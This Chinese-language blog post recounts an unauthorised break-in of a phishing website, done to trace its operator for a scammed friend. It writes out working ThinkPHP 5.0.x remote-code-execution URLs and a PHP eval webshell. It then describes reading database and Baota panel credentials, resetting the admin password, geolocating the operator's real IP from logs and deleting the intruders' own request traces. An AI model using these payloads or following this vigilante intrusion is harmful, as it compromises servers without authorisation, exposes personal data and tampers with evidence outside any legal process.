一個學長前幾天不幸在釣魚網站中招被騙走一些資金,在聯系有關部門前找到了我看看能不能獲取到一些有用的信息以便於有關部門行動
在對網站進行初步信息收集后發現網站使用ThinkPHP 5.0.7框架,直接找到ThinkPHP對應版本的Exp進行嘗試:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=phpinfo&vars[0]=1 //執行phpinfo
成功彈出phpinfo,ThinkPHP的RCE漏洞沒有修復,並且通過phpinfo可以看出服務器使用寶塔搭建,運行Windows系統,本想着接下來的事情就非常簡單了,但是當我寫Shell時遇到了困難:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ye.php&vars[1][]=<?php eval($_POST['cmd']);?>
文件被成功寫入,但是卻直接輸出在了頁面中,查看源代碼發現< >
被轉義為了HTML實體編碼:
在嘗試利用base64編碼后再寫入,發現依然被轉義,直接命令執行試一試:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
發現並沒有出現回顯,嘗試反彈Shell也無功而返,這個時候感覺到system可能被禁用了,改用eval依舊無果,最后使用assert發現可以成功執行,直接構造Shell連接:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST[ye])
得到Shell后先嘗試執行命令,但是命令依舊無法正常執行,嘗試突破disables_function但失敗了
這個時候思路轉換一下,查看ThinkPHP框架的服務器配置文件/application/database.php
得到MySQL數據庫賬戶
連接數據庫:
查詢后台管理員數據:
卻發現md5無法解開,但是大致查看了數據庫中的數據,到這里並沒有發現什么有較大幫助的數據,因而並沒有考慮繼續死磕在后台賬戶上
接下來的主要重心應放在對於該站點管理員的信息收集上,先查看一下ThinkPHP框架中的日志記錄文件/runtime/log/202107/05.log
在日志中發現system函數果然被禁用了:
與此同時也在日志中發現了一條剛才檢查數據庫時忽略掉的重要數據——后台管理員最后登陸IP:
翻閱前幾日記錄發現最后登陸IP都是101.78.*.*
這個IP地址,懷疑這就是網站管理員IP地址,反饋給學長后查詢了一下該IP,發現是香港的IP,心里一慌:這應該是掛了V P N了吧
結果不出所料:
接下來的工作陷入了僵局,翻閱ThinkPHP的日志后並沒有發現其他IP的登陸數據,修改數據庫中后台管理員賬戶密碼,登錄后台后也沒有發現任何有用的信息,只有一些釣魚文章的管理:
后來和一個大師傅交流了一下,大師傅建議查一下看寶塔中有沒有留下有用信息,在C:/BtSoft/panel/data/default.db
中找到了寶塔面板的數據文件,獲取到寶塔的賬戶信息:
同時也查閱了一下寶塔數據庫中的log日志內容:
但是卻無法解出密碼,這時可以通過覆蓋db文件重新設置賬戶密碼,但該方法需要重啟面板,受限於我們目前的情況,這個辦法很難實現
於是思路再次陷入了僵局中,睡了一覺第二天醒來想起寶塔面板會有請求記錄日志,於是在C:/BtSoft/panel/logs/request/
中找到了大量以json形式儲存的請求信息
打開時間較早的日志文件,果然有所突破(有可能是V P N不穩定,在操作時突然掛掉了,導致真實IP的泄漏):
在查詢175.167.*.*
后,發現是遼寧沈陽的IP地址,用網上的工具進行大致定位反饋給學長
順帶將網站的源碼、數據庫、log日志文件進行打包取證,一並收集起來,最后再刪掉我們在滲透時留下的請求記錄
完事收工